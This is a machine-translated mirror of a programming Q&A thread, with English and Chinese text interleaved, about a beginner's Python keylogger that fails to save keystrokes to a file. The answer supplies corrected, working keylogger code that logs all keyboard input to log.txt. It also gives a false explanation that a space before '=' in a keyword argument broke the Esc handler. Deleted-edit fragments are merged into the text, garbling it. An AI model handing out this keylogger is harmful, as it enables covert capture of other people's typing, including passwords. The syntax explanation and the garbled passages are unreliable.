简体   繁体   English

键盘记录器不会保存到文本文件,用 python 制作

[英]Keylogger won´t save to text file,made in python

so i tried making a keylogger,but it won´t save to the text file.所以我尝试制作一个键盘记录器,但它不会保存到文本文件中。

First time making a keylogger,already watched some tutorials but i can´t figure out why it doesn´t work.第一次制作键盘记录器,已经看过一些教程,但我不知道为什么它不起作用。

this is my complete code这是我的完整代码

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

There are no errors showing in pycharm... pycharm中没有显示错误...

As John Gordon pointed out in the comments, your keylogger isn't saving until you've collected more than 999999999999999999999999999999999999999999 keys.正如约翰戈登在评论中指出的那样,直到您收集了超过 999999999999999999999999999999999999999999 个密钥,您的键盘记录器才会保存。 At three keys a second, nonstop, that'll take about每秒三个键,不间断,这将需要大约a year一年ten million billion years to type, and would create a file一千万年要打字,并会创建一个文件almost exactly 1GB几乎正好 1GB 10 thousand trillion trillion GB in size. 1 万万亿万亿 GB的规模。 According to a typing speed test, however, people type on average 190-200 characters (not words) per minute - why not save every 15 seconds or so, after 50 characters?然而,根据打字速度测试,人们平均每分钟打 190-200 个字符(不是单词) ——为什么不在 50 个字符后每 15 秒左右保存一次? You can change this to whatever you'd like.您可以将其更改为您想要的任何内容。

I also noted that your program was not terminating properly - you left a stray space in your with Listener invocation at on_release =on_release , which prevented the keylogger from capturing the esc key (and thereby also prevented the keylogger from being killed, except with ctrl-z ).我还注意到你的程序没有正确终止——你在on_release =on_release with Listener调用中留下了一个杂散空间,这阻止了键盘记录器捕获esc键(从而也防止了键盘记录器被杀死,除了ctrl-z )。

This modified code ran well on my machine, and captured all my input.修改后的代码在我的机器上运行良好,并捕获了我的所有输入。 Spooky!幽灵般的!

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   #change this to whatever you want, knowing the average person types at 
   #190-200 characters per minute. Following that logic, this logger will save every 
   #15 seconds or so during normal typing.
   if count >= 50:
       count = 0
       write_file()
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Good luck!祝你好运!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM